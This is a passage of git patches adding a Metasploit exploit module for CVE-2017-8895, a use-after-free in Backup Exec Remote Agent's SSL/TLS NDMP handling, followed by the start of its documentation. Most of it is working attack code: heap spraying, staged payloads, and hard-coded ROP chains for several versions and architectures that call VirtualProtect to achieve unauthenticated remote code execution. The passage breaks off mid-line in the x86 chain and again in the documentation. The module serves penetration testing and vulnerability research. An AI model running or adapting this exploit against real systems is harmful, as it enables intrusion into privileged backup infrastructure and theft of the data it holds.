'Win8Upwards' => false } + ], + [ + 'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86', + { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => false } + ] + ], + 'DefaultOptions' => + { + 'RPORT' => 10000, + 'NumTriggerAttempts' => 50, + 'EXITFUNC' => 'thread' + }, + 'Privileged' => true, + 'DisclosureDate' => 'May 10 2017', + 'DefaultTarget' => 8)) + + register_options([ + OptInt.new('NumSpraySockets', [ false, 'Number of sockets to spray stage 1 with' ]), + OptInt.new('NumTLSSpraySockets', [ false, 'Number of sockets to spray TLS extensions with' ]), + OptInt.new('NumTriggerAttempts', [ true, 'Number of attempts to trigger the vulnerability (Windows 8+ only)' ]) + ]) + end + + def check + s = NDMP::Socket.new(connect) + return CheckCode::Unknown unless connect_ndmp(s, 2) + + resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_HOST_INFO)) + return CheckCode::Unknown unless resp + info = HostInfoResponse.from_xdr(resp.body) + print_line('Hostname: ' + info.hostname) + print_line('OS type: ' + info.os_type) + print_line('OS version: ' + info.os_version) + print_line('Host ID: ' + info.host_id) + + disconnect + s = NDMP::Socket.new(connect) + return CheckCode::Unknown unless connect_ndmp(s, 3) + + resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)) + return CheckCode::Unknown unless resp + info = ServiceInfoResponse.from_xdr(resp.body) + print_line('Vendor: ' + info.vendor_name) + print_line('Product: ' + info.product_name) + print_line('Revision: ' + info.revision_number) + + ver = info.revision_number.split('.') + if ver[0].to_i < 9 || (ver[0].to_i == 9 && ver[1].to_i <= 2) + CheckCode::Appears + else + CheckCode::Detected + end + end + + def exploit + print_status('Connecting sockets...') + + # Connect a differing amount of sockets for stage 1 spraying depending on the target + spray_socks = connect_additional_sockets( + datastore['NumSpraySockets'] || (target.opts['Win8Upwards'] ? 100 : 200), + target.opts['Arch'] == ARCH_X64 && target.opts['Win8Upwards'] ? 2 : 3 + ) + + # Likewise, connect a differing amount of sockets for TLS extension spraying depending + # on the target + num_tls_spray_socks = datastore['NumTLSSpraySockets'] || ( + case target.opts['Version'] + when 14 + 0 + when 15 + target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 ? 50 : 100 + when 16 + target.opts['Arch'] == ARCH_X64 ? 100 : 0 + end + ) + tls_spray_socks = connect_additional_sockets(num_tls_spray_socks, 3) + + s = NDMP::Socket.new(connect) + unless connect_ndmp(s, 3) + fail_with(Failure::UnexpectedReply, "Couldn't connect main socket") + end + + ca_cert, ca_key = generate_ca_cert_and_key + ca_cert_id = get_cert_id(ca_cert) + print_status("CA certificate ID = #{ca_cert_id.to_s(16)}") + + print_status('Getting and handling a certificate signing request...') + agent_cert = handle_a_csr(s, ca_cert, ca_key) + fail_with(Failure::UnexpectedReply, "Couldn't sign certificate request") if agent_cert.nil? + print_status("Agent certificate ID = #{get_cert_id(agent_cert).to_s(16)}") + + if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 && target.opts['Version'] != 15 + # For certain target types, put the stage 1 spray sockets into SSL mode. We can use + # the newly made CA certificate and key as our client side certificate + ssl_context = OpenSSL::SSL::SSLContext.new + ssl_context.cert = ca_cert + ssl_context.key = ca_key + print_status('Entering spray sockets into SSL mode...') + (1..2).each do |phase| + spray_socks.each do |ss| + require_empty_ssl_request(ss, SSLRequest::Opcode.test_cert, ca_cert_id, phase) + require_empty_ssl_request(ss, SSLRequest::Opcode.start_ssl, ca_cert_id, phase) + ss.wrap_with_ssl(ssl_context) if phase == 2 + end + end + end + + print_status('Testing certificate...') + require_empty_ssl_request(s, SSLRequest::Opcode.test_cert, ca_cert_id) + + # For some targets, split the spraying of TLS extensions around entering SSL on the + # main socket + tls_cutoff = tls_spray_socks.length + if target.opts['Win8Upwards'] + if target.opts['Arch'] == ARCH_X86 + tls_cutoff /= 2 + end + else + tls_cutoff /= 10 + end + spray_tls_extensions(tls_spray_socks[0...tls_cutoff], ca_cert_id) + + print_status('Entering SSL mode on main socket...') + require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) + + spray_tls_extensions(tls_spray_socks[tls_cutoff...tls_spray_socks.length], ca_cert_id) + + # Send stages 2 to 4 in a TLS or SSLv2 handshake record. We do this so that the other + # stages are contained in the SSL socket buffer at the time of the UAF. The record + # itself could be considered stage 1.5 as stage 1 will pivot to somewhere within the + # record (depending on the amount of trigger attempts required; see attempt_triggers) + print_status('Sending stages 2 to 4...') + if target.opts['Arch'] == ARCH_X64 + if target.opts['Version'] == 14 + # x64, version 14. Use a TLS handshake record + # + # Windows 8+: + # Stage 1 jumps to 0x1d or 0x30 + [0, NumTriggerAttempts - 2] * 8 + # 0 1 2 3 4 5 6 7 8 9 A B C D E F + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 0 | 16 | 03 | 01 | length | FILLER + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 10 | ret 3 + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 20 | ret | FILLER | + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 30 | retsled (0x10 aligned length)... | + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # .. | stages 2-4... + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # + # Otherwise: + # Stage 1 jumps to 0x18 + # 0 1 2 3 4 5 6 7 8 9 A B C D E F + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 0 | 16 | 03 | 01 | length | FILLER + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 10 | ret | + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 20 | stages 2-4... + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + + ret = [0xbe6c897].pack('Q<') + if target.opts['Win8Upwards'] + ret_3 = [0xbe2829b].pack('Q<') + payload = rand_text(24) + ret_3 + ret + rand_text(3) + + ret * [0, (datastore['NumTriggerAttempts'] - 1) & ~1].max + else + payload = rand_text(19) + ret + end + payload << generate_stages_2_to_4 + + stage_tls = generate_tls_handshake_record(payload) + else + # x64, version 15/16. Use a SSLv2 hqndshake record + # Windows 8+: Stage 1 jumps to 0x23 or 0x38 + [0, NumTriggerAttempts - 2] * 8 + # Otherwise: Stage 1 jumps to 0x18 + # 0 1 2 3 4 5 6 7 8 9 A B C D E F + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 0 | length | 01 | 03 | FILLER + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 10 | pop x3; ret | + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 20 | FILLER | ret 5 | ret + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 30 | FILLER | retsled (0x8 aligned length)... | + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 40 | stages 2 - 4... + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + + pop_x3 = [0xbe1d920].pack('Q<') + ret_5 = [target.opts['Version'] == 15 ? 0xbe61731 : 0xbe62c16].pack('Q<') + ret = [0xbe6c897].pack('Q<') + payload = rand_text(20) + pop_x3 + rand_text(3) + ret_5 + ret + rand_text(5) + + ret * [1, (datastore['NumTriggerAttempts'] & ~1) - 1].max + + generate_stages_2_to_4 + + stage_tls = generate_tls_in_sslv2_clienthello(payload) + end + else + if target.opts['Version'] == 14 + # x86, version 14. Use a TLS handshake record + # Windows 8+: Stage 1 jumps to 0x9 or 0x14 + [0, NumTriggerAttempts - 2] * 4 + # Otherwise: Stage 1 jumps to 0x4 + # 0 1 2 3 4 5 6 7 8 9 A B C D E F + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 0 | 16 | 03 | 01 | ln | pop x3; ret | FL | ret 3 | ret + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 10 | FILLER | retsled... | stages 2 to 4... + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + + pop_x3 = [0x6311f901].pack('L<') + ret_3 = [0x6312164a].pack('L<') + ret = [0x63101514].pack('L<') + payload = (pop_x3[1...pop_x3.length] + rand_char + ret_3 + ret + rand_text(3) + + ret * [0, datastore['NumTriggerAttempts'] - 2].max + generate_stages_2_to_4) + + stage_tls = generate_tls_handshake_record(payload, pop_x3[0]) + else + # x86, version 15/16. Use a SSLv2 hqndshake record + # Windows 8+: Stage 1 jumps to 0xf or 0x14 + [0, NumTriggerAttempts - 2] * 4 + # Otherwise: Stage 1 jumps to 0x4 + # 0 1 2 3 4 5 6 7 8 9 A B C D E F + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 0 | length | 01 | 03 | add esp, 0xc; ret | FILLER | inc esp; ret + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 10 | FL | retsled... | stages 2 to 4... + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + + add_esp_0xc = [target.opts['Version'] == 15 ? 0x6312890f : 0x6312898f].pack('L<') + inc_esp = [target.opts['Version'] == 15 ? 0x6311c68c : 0x63137b1b].pack('L<') + ret = [0x63101564].pack('L<') + payload = add_esp_0xc + rand_text(7) + inc_esp + rand_char + + ret * [0, datastore['NumTriggerAttempts'] - 3].max + + generate_stages_2_to_4 + + stage_tls = generate_tls_in_sslv2_clienthello(payload) + end + end + s.raw_sendall(stage_tls, 0) + if target.opts['Version'] == 14 + resp = s.raw_recv(5) + fail_with(Failure::UnexpectedReply, 'Failed to read TLS handshake response. Are you sure you selected the right target version?') if resp.empty? + s.raw_recv(resp[3...5].unpack('n')[0]) + end + + print_status('Closing TLS spray sockets...') + tls_spray_socks.reverse! unless target.opts['Win8Upwards'] + tls_spray_socks.each do |ts| + ts.close + sleep(0.1) + end + sleep(1) + + # Spray stage 1 in the string payloads of selected NDMP packet types + if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X64 + spray_payload = XDR::String[].to_xdr(generate_stage_1[0...-1]) + spray_msg_type = NDMP::Message::CONFIG_GET_BUTYPE_ATTR + else + spray_payload = XDR::Int.to_xdr(1) + XDR::String[].to_xdr(generate_stage_1[0...-1]) * 2 + spray_msg_type = NDMP::Message::CONNECT_CLIENT_AUTH + end + spray_msg = NDMP::Message.new_request(spray_msg_type, spray_payload) + + # We need to be able to detect as soon as a connection is made to the payload in order + # to stop spraying/trigger attempts ASAP + @payload_connected = false + if payload_instance.respond_to?(:handle_connection) + old_handle_connect = payload_instance.method(:handle_connection) + payload_instance.define_singleton_method(:handle_connection) do |*args| + @payload_connected = true + old_handle_connect.call(*args) + end + end + + if target.opts['Win8Upwards'] + # After this SSL request, the BIO struct is freed but still referred to in the new + # SSL context + print_status('Re-entering SSL mode on main socket...') + require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) + + # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF + attempt_triggers(s, spray_socks, spray_msg) + else + # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF in a race + attempt_race(s, spray_socks, spray_msg, ca_cert_id) + end + + handler + end + + private + + SSL_HANDSHAKE_REQUEST = 0xf383 + + class SSLRequest < XDR::Struct + class Opcode < XDR::Enum + member :test_cert, 1 + member :get_csr_req, 2 + member :give_signed_cert, 3 + member :start_ssl, 4 + seal + end + + attribute :opcode, Opcode + attribute :media_server_name, XDR::String[] + attribute :media_server_fqdn, XDR::String[] + attribute :media_server_addr, XDR::String[] + attribute :cert_id_1, XDR::Int + attribute :cert_id_2, XDR::Int + attribute :unknown1, XDR::Int + attribute :unknown2, XDR::Int + attribute :unknown3, XDR::Int + attribute :ca_cert, XDR::String[] + attribute :unknown4, XDR::Int + attribute :agent_cert, XDR::String[] + + def self.new_for_opcode(opcode) + new( + :opcode => opcode, + :media_server_name => 'foo', + :media_server_fqdn => 'foo', + :media_server_addr => 'foo', + :cert_id_1 => 0, + :cert_id_2 => 0, + :unknown1 => 0, + :unknown2 => 0, + :unknown3 => 0, + :ca_cert => '', + :unknown4 => 0, + :agent_cert => '' + ) + end + end + + class SSLResponse < XDR::Struct + attribute :unknown1, XDR::Int + attribute :unknown2, XDR::String[] + attribute :unknown3, XDR::Int + attribute :unknown4, XDR::String[] + + def empty? + (attributes[:unknown1].zero? && attributes[:unknown2].empty? && + attributes[:unknown3].zero? && attributes[:unknown4].empty?) + end + end + + class ServiceInfoResponse < XDR::Struct + attribute :error, XDR::Int + attribute :vendor_name, XDR::String[] + attribute :product_name, XDR::String[] + attribute :revision_number, XDR::String[] + attribute :auth_types, XDR::VarArray[XDR::Int] + end + + class HostInfoResponse < XDR::Struct + attribute :error, XDR::Int + attribute :hostname, XDR::String[] + attribute :os_type, XDR::String[] + attribute :os_version, XDR::String[] + attribute :host_id, XDR::String[] + attribute :unknown, XDR::VarArray[XDR::Int] + end + + # + # Perform NDMP connection handshake on a NDMP socket. Can be split into 3 stages. + # + def connect_ndmp(s, version, phase=nil) + if phase.nil? || phase == 1 + return false unless s.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED) + end + + if phase.nil? || phase == 2 + return false unless s.prepare_and_write_ndmp_msg( + NDMP::Message.new_request(NDMP::Message::CONNECT_OPEN, XDR::Int.to_xdr(version)) + ) + end + + if phase.nil? || phase == 3 + msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN) + return false unless msg + fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero? + end + + true + end + + # + # Connect multiple NDMP sockets of a given version. Parallelizes over connection phases. + # + def connect_additional_sockets(num_socks, version) + socks = (0...num_socks).map do + NDMP::Socket.new(connect(false)) + end + + (1..3).each do |phase| + socks.each do |ss| + unless connect_ndmp(ss, version, phase) + fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})") + end + end + end + + socks + end + + # + # Send a Backup Exec-specific SSL NDMP request and receive the response. + # + def do_simple_ssl_request(s, opcode, ca_cert_id, phase=nil) + if phase.nil? || phase == 1 + req = SSLRequest.new_for_opcode(opcode) + req.cert_id_1 = req.cert_id_2 = ca_cert_id + msg = NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr) + + if block_given? + last = s.prepare_and_write_ndmp_msg(msg, true) + return nil unless last + sleep(1) + yield true + s.raw_sendall(last, 0) + yield false + else + return nil unless s.prepare_and_write_ndmp_msg(msg) + end + end + + if phase.nil? || phase == 2 + msg = s.read_ndmp_msg(SSL_HANDSHAKE_REQUEST) + return msg ? SSLResponse.from_xdr(msg.body) : nil + end + + nil + end + + # + # Send a Backup Exec SSL NDMP request and receive the response, requiring the response + # to be empty. + # + def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil) + resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase) + if phase.nil? || phase == 2 + fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp + fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty? + end + end + + # + # Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes + # of the SHA-1 of the issuer and the raw serial number. + # + def get_cert_id(cert) + Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack('L<')[0] + end + + # + # Create a self-signed CA certificate and matching key. + # + def generate_ca_cert_and_key(key_len=2048) + ca_key = OpenSSL::PKey::RSA.new(key_len) + + ca_cert = OpenSSL::X509::Certificate.new + ca_cert.version = 3 + ca_cert.serial = 1 + ca_cert.subject = ca_cert.issuer = OpenSSL::X509::Name.parse('/CN=SSL UAF') + ca_cert.not_before = Time.now - 60 * 60 * 24 + ca_cert.not_after = Time.now + 60 * 60 * 24 * 365 + ca_cert.public_key = ca_key.public_key + + extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, ca_cert) + ca_cert.extensions = [ + extn_factory.create_extension('subjectKeyIdentifier', 'hash'), + extn_factory.create_extension('basicConstraints', 'critical,CA:true') + ] + # Have to do this after creating subjectKeyIdentifier extension + ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer')) + + ca_cert.sign(ca_key, OpenSSL::Digest::SHA256.new) + + [ca_cert, ca_key] + end + + # + # Get and handle a certificate signing request from Backup Exec with the given CA + # certificate and key. + # + def handle_a_csr(s, ca_cert, ca_key) + resp = do_simple_ssl_request(s, SSLRequest::Opcode.get_csr_req, 0) + return nil if resp.nil? + request = OpenSSL::X509::Request.new(resp.unknown2) + + agent_cert = OpenSSL::X509::Certificate.new + agent_cert.version = 3 + agent_cert.serial = 2 + agent_cert.subject = request.subject + agent_cert.issuer = ca_cert.subject + agent_cert.not_before = Time.now - 60 * 60 * 24 + agent_cert.not_after = Time.now + 60 * 60 * 24 * 365 + agent_cert.public_key = request.public_key + + extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, agent_cert) + agent_cert.extensions = [ + extn_factory.create_extension('subjectKeyIdentifier', 'hash'), + extn_factory.create_extension('basicConstraints', 'critical,CA:false') + ] + # Have to do this after creating subjectKeyIdentifier extension + agent_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer')) + + agent_cert.sign(ca_key, OpenSSL::Digest::SHA256.new) + + req = SSLRequest.new_for_opcode(SSLRequest::Opcode.give_signed_cert) + req.ca_cert = ca_cert.to_s + req.agent_cert = agent_cert.to_s + return nil unless s.do_request_response(NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr)) + + agent_cert + end + + # + # Generate a TLS handshake record with the given payload. + # + def generate_tls_handshake_record(payload, required_fifth_byte=nil) + fail_with(Failure::Unknown, 'No payload') if payload.empty? + + # Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset + # 0x4) instead of in non-header data; here it's necessary to control the 5th byte of + # the header, which is the second byte of the length word + unless required_fifth_byte.nil? + payload << rand_text((required_fifth_byte.ord - (payload.length & 0xff)) % 0x100) + end + "\x16\x03\x01" + [payload.length].pack('n') + payload + end + + # + # Generate a TLS ClientHello record with the given Random and extensions (ie. for + # holding stages 2-4). + # + def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random) + if ec_formats_extn_payload.empty? && curves_extn_payload.empty? + fail_with(Failure::Unknown, 'No TLS extension payloads given') + end + if ec_formats_extn_payload.length > 0xff + fail_with(Failure::Unknown, 'Bad EC formats extension length') + end + if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff + fail_with(Failure::Unknown, 'Bad curves extension length') + end + if random.length != 0x20 + fail_with(Failure::Unknown, 'Bad random length') + end + + extns = '' + unless curves_extn_payload.empty? + extns << [ + 10, + curves_extn_payload.length + 2, + curves_extn_payload.length + ].pack('n*') + curves_extn_payload + end + unless ec_formats_extn_payload.empty? + extns << [ + 11, + ec_formats_extn_payload.length + 1, + ec_formats_extn_payload.length + ].pack('nnC') + ec_formats_extn_payload + end + + r = "\x03\x03" + random + "\x00\x00\x02\x00\x2f\x01\x00" + r << [extns.length].pack('n') + extns + + r = "\x01" + [r.length].pack('N')[1...4] + r + + generate_tls_handshake_record(r) + end + + # + # Generate a TLS ClientHello record in a SSLv2 record with a given payload. + # + def generate_tls_in_sslv2_clienthello(payload) + fail_with(Failure::Unknown, 'No payload') if payload.empty? + fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1 + + r = "\x01\x03" + payload + [r.length | 0x8000].pack('n') + r + end + + # + # Spray a bunch of TLS extensions from the given NDMP sockets. Used for heap feng shui. + # + def spray_tls_extensions(tls_spray_socks, ca_cert_id) + payload_len = target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40 + spray = generate_tls_clienthello(rand_text(payload_len), rand_text(payload_len), rand_text(0x20)) + + print_status('Spraying TLS extensions...') + (1..2).each do |phase| + tls_spray_socks.each do |ts| + require_empty_ssl_request(ts, SSLRequest::Opcode.test_cert, ca_cert_id, phase) + require_empty_ssl_request(ts, SSLRequest::Opcode.start_ssl, ca_cert_id, phase) + + if phase == 2 + ts.raw_sendall(spray, 0) + sleep(0.1) + end + end + end + sleep(1) + end + + # + # Generate stage 1. + # + # This stage is what overwrites the freed BIO struct. It consists of a non-zero readable + # location (to prevent Backup Exec from falling over or failing) and a stack pivot to + # some offset from the current SSL socket buffer read location, which will hold a + # TLS/SSLv2 record (from the previous SSL connection) holding stages 2-4. The pivot + # offset will be different at each UAF trigger attempt; see attempt_triggers). + # + def generate_stage_1 + if target.opts['Arch'] == ARCH_X64 + stage_1 = [ + # +0x18 from here is a non-zero, readable location. This is the load address of + # becrypto.dll (which is non-ASLR) + 0xbe00000, + # On x64, we pivot into the current SSL socket buffer read location + 0x18 + # lea rsp, qword ptr [rbp + 0x10]; pop rbp; ret + [0xbe5ecf2, 0xbe23261, 0xbe2329b][target.opts['Version'] - 14] + ].pack('Q<*') + else + stage_1 = [ + # +0x18 from here is a non-zero, readable location. This is the load address of + # becrypto.dll (which is non-ASLR) + 0x63100000, + # On x86, we pivot into the current SSL socket buffer read location + 0x4 + # mov esp, ebp; pop ebp; ret + target.opts['Version'] == 14 ? 0x631017fd : 0x6310184d + ].pack('L<*') + end + stage_1 + rand_text((target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40) - stage_1.length) + end + + # + # Generate stages 2 to 4. + # + # Stage 2 is a ROP chain that copies stages 3 and 4 from the heap (that stage 1 pivoted + # to) onto the stack, bypassing Windows 8+'s check before certain functions (like + # VirtualProtect) that we have called them from within expected stack memory instead of + # the heap. + # + # Stage 3 is a ROP chain that calls VirtualProtect to mark stages 3 and 4 as executable + # (but we only really need stage 4 executable anyway). + # + # Stage 4 is the user-selected Metasploit payload code. + # + def generate_stages_2_to_4 + stage_4 = payload.encoded + + if target.opts['Arch'] == ARCH_X64 + if target.opts['Version'] == 14 + stage_3 = [ + 0, # skipped by stage 2 + 0xbe31359, # push rax; pop rsi; ret + 0xbe01f72, # pop rax; ret + 0, + 0xbe3d250, # add rax, rcx; ret + 0xbe1c2f9, # pop r12; ret + 0xbe2ab32, # pop r8; ret + 0xbe2987c, # mov rcx, rax; call r12 + 0xbe46d9e, # jmp qword ptr [KERNEL32!LoadLibraryW] + 0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe37f75, # push rax; pop rdi; ret + 0xbe43b25, # mov rcx, rsi; call r12 + 0xbe01f72, # pop rax; ret + 0, + 0xbe3d250, # add rax, rcx; ret + 0xbe6949a, # push rax; pop r12; ret + 0xbe4f7ec, # pop r14; pop r13; ret + 0xbe2ab32, # pop r8; ret + 0, + 0xbe2f917, # mov rdx, r12; mov ecx, 4; call r14 + 0xbe01f72, # pop rax; ret + 0xbe2ab32, # pop r8; ret + 0xbe36e8e, # mov rcx, rdi; call rax + 0xbe01a29, # ret + 0xbe46d32, # jmp qword ptr [KERNEL32!GetProcAddressStub] + 0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe37f75, # push rax; pop rdi; ret + 0xbe1c2f9, # pop r12; ret + 0xbe2ab32, # pop r8; ret + 0xbe43b25, # mov rcx, rsi; call r12 + 0xbe399d0, # pop r13; ret + 1 << 31, + 0xbe33c3e, # mov rdx, r13; call r12 + 0xbe6b790, # mov r9, rcx; test edx, edx; jns 0xbe6b7a3; xor eax, eax; ret + 0xbe399d0, # pop r13; ret + 0, + 0xbe33c3e, # mov rdx, r13; call r12 + 0xbe2ab32, # pop r8; ret + 0x40, # PAGE_EXECUTE_READWRITE + 0xbe01a29, # ret + 0xbe5180b, # jmp rdi + 0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe63938 # push rsp; ret + ] + stage_3[3] = stage_3[43] = stage_3.length * 8 + stage_4.length + kernel32_dll = "KERNEL32.dll\0".encode('UTF-16LE').force_encoding('ASCII-8BIT') + stage_3[17] = stage_3[3] + kernel32_dll.length + stage_3 = stage_3.pack('Q<*') + stage_4 + kernel32_dll + "VirtualProtect\0" + elsif target.opts['Version'] == 15 + stage_3 = [ + 0xbe68a34, # push rax; pop rbx; ret + 0xbe087c8, # pop rax; ret + 0, + 0xbe60dc0, # add rax, rcx; ret + 0xbe9b627, # mov rcx, rax; call r12 + 0xbe4929d, # ret + 0xbeb488e, # jmp qword ptr [KERNEL32!LoadLibraryAStub] + 0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe34c0c, # push rax; pop rbp; ret + 0xbefc534, # mov rcx, rbx; call r12 + 0xbe087c8, # pop rax; ret + 0, + 0xbe60dc0, # add rax, rcx; ret + 0xbe9b627, # mov rcx, rax; call r12 + 0xbefc526, # mov rdx, rcx; call r12 + 0xbe9ad68, # mov rcx, rbp; call r12 + 0xbeb4828, # jmp qword ptr [KERNEL32!GetProcAddressStub] + 0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe43269, # push rax; pop rsi; ret + 0xbefc534, # mov rcx, rbx; call r12 + 0xbebd50e, # pop r13; ret + 0, + 0xbe97c4e, # mov rdx, r13; call r12 + 0xbeae99d, # pop r8; ret + 0x40, # PAGE_EXECUTE_READWRITE + 0xbe3c9c0, # test rdx, rdx; setne al; ret + 0xbe68603, # mov r9, rcx; je 0xbe68612; xor eax, eax; ret + 0xbe4929d, # ret + 0xbe9436d, # jmp rsi + 0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe2184d, # pop rdi; ret + 0xbebd50e, # pop r13; ret + 0xbe9a8ac # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi + ] + stage_3[2] = stage_3[29] = stage_3.length * 8 + stage_4.length + stage_3[15] = stage_3[2] + "KERNEL32.dll\0".length + stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0" + elsif target.opts['Version'] == 16 + stage_3 = [ + 0xbe4e888, # push rax; pop rbx; ret + 0xbe01f72, # pop rax; ret + 0, + 0xbe610f0, # add rax, rcx; ret + 0xbe9c70c, # mov rcx, rax; call r12 + 0xbe01c2c, # ret + 0xbeb5d8e, # jmp qword ptr [KERNEL32!LoadLibraryAStub] + 0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe12ed0, # pop rdi; ret + 0xbe45a01, # pop r13; ret + 0xbeaedb0, # mov rbp, rax; call rdi + 0xbe5851a, # mov rcx, rbx; call r12 + 0xbe01f72, # pop rax; ret + 0, + 0xbe610f0, # add rax, rcx; ret + 0xbe9c70c, # mov rcx, rax; call r12 + 0xbefe516, # mov rdx, rcx; call r12 + 0xbe9bf28, # mov rcx, rbp; call r12 + 0xbeb5d28, # jmp qword ptr [KERNEL32!GetProcAddressStub] + 0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe433b9, # push rax; pop rsi; ret + 0xbe5851a, # mov rcx, rbx; call r12 + 0xbe45a01, # pop r13; ret + 0, + 0xbe2e55e, # mov rdx, r13; call r12 + 0xbe27c76, # pop r8; ret + 0x40, # PAGE_EXECUTE_READWRITE + 0xbe3caf0, # test rdx, rdx; setne al; ret + 0xbe68c73, # mov r9, rcx; je 0xbe68c82; xor eax, eax; ret + 0xbe01c2c, # ret + 0xbe56cad, # jmp rsi + 0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe12ed0, # pop rdi; ret + 0xbe45a01, # pop r13; ret + 0xbe9ba6c # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi + ] + stage_3[2] = stage_3[31] = stage_3.length * 8 + stage_4.length + stage_3[17] = stage_3[2] + "KERNEL32.dll\0".length + stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0" + end + else + if target.opts['Version'] == 14 + stage_3 = [ + 0x63117dfa, # pop edi; ret + 0x63101514, # ret + 0x63116cc9, # pop esi; ret + 0x6313ba14, # jmp dword ptr [KERNEL32!LoadLibraryAStub] + 0x631017ff, # pop ebp; ret + 0x631213e6, # add esp, 0x20; ret + 0x63137a3c, # pushal; ret + 'KERN'.unpack(' Date: Wed, 24 May 2017 00:16:47 +1200 Subject: [PATCH 055/686] Add documentation for CVE-2017-8895 exploit module --- .../exploit/windows/backupexec/ssl_uaf.md | 201 ++++++++++++++++++ 1 file changed, 201 insertions(+) create mode 100644 documentation/modules/exploit/windows/backupexec/ssl_uaf.md diff --git a/documentation/modules/exploit/windows/backupexec/ssl_uaf.md b/documentation/modules/exploit/windows/backupexec/ssl_uaf.md new file mode 100644 index 0000000000..37b72d9964 --- /dev/null +++ b/documentation/modules/exploit/windows/backupexec/ssl_uaf.md @@ -0,0 +1,201 @@ +## Vulnerability Summary + +The Backup Exec Remote Agent for Windows is vulnerable to a use-after-free in +its handling of SSL/TLS-wrapped NDMP connections. If SSL/TLS is established on a +NDMP connection, ended, and finally re-established, the agent will re-use +previously freed SSL/TLS structures. This allows for remote code execution over +an unauthenticated network connection. + + +## Vulnerable Application + +Backup Exec consists of a server component as well as remote agents that are +installed on each host that should be backed up by the server. + +There are remote agents available for a range of data sources, including +operating-system level agents for Windows and Linux hosts' local filesystems, +application-specific agents for Microsoft Exchange, SharePoint, Active +Directory, etc., and agents for virtual machines such as VMware or Hyper-V +instances. This exploit targets the Windows OS-level remote agents, which are +the most common type in a typical Backup Exec deployment on a Windows-based +network. The agents are installed as services running by 